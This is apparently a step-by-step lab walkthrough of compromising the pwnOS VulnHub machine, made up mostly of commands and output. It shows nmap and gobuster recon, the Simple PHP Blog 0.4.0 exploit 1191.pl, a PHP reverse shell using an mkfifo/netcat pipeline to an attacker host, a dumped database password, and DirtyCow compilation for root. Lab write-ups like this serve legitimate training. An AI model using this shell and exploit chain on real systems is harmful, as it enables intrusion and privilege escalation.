PHPBLOG 0.4.0 EXPLOIT

REVERSE PHP SHELL

DIRTYCOW

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)

| 2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)

|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)

80/tcp open http Apache httpd 2.2.17 ((Ubuntu))

| http-cookie-flags:

| /:

| PHPSESSID:

|_ httponly flag not set

|_http-server-header: Apache/2.2.17 (Ubuntu)

|_http-title: Welcome to this Site!

MAC Address: 00:0C:29:29:CA:BE (VMware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/vulnhub/pwnos# gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/blog (Status: 301)

/login (Status: 200)

/register (Status: 200)

/index (Status: 200)

/info (Status: 200)

/includes (Status: 301)

/activate (Status: 302)

/server-status (Status: 403)

http://10.10.10.100/blog/

<meta name="generator" content="Simple PHP Blog 0.4.0" />

root@kali:/home/kali/Desktop/vulnhub/pwnos# searchsploit simple php blog 0.4.0

Exploit Title | Path

Simple PHP Blog 0.4.0 - Multiple Remote s | php/webapps/1191.pl

Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit) | php/webapps/16883.rb

root@kali:/home/kali/Desktop/vulnhub/pwnos# cp /usr/share/exploitdb/exploits/php/webapps/1191.pl .

root@kali:/home/kali/Desktop/vulnhub/pwnos# perl 1191.pl -h http://10.10.10.100/blog -e 3 -U admin -P admin

http://10.10.10.100/blog/login_cgi.php

login successful!

root@kali:/home/kali/Desktop/vulnhub/pwnos# cat reverse.php

<?php

system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.20 8082 >/tmp/f");

?>

http://10.10.10.100/blog/images/

root@kali:/home/kali/Desktop/vulnhub/pwnos# nc -nlvp 8082

<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.

// This file also establishes a connection to MySQL

// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');

DEFINE ('DB_PASSWORD', 'root@ISIntS');

DEFINE ('DB_HOST', 'localhost');

DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error());

www-data@web:/var$ uname -a

Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

Dirtycow

gcc -pthread dirty.c -o dirty -lcrypt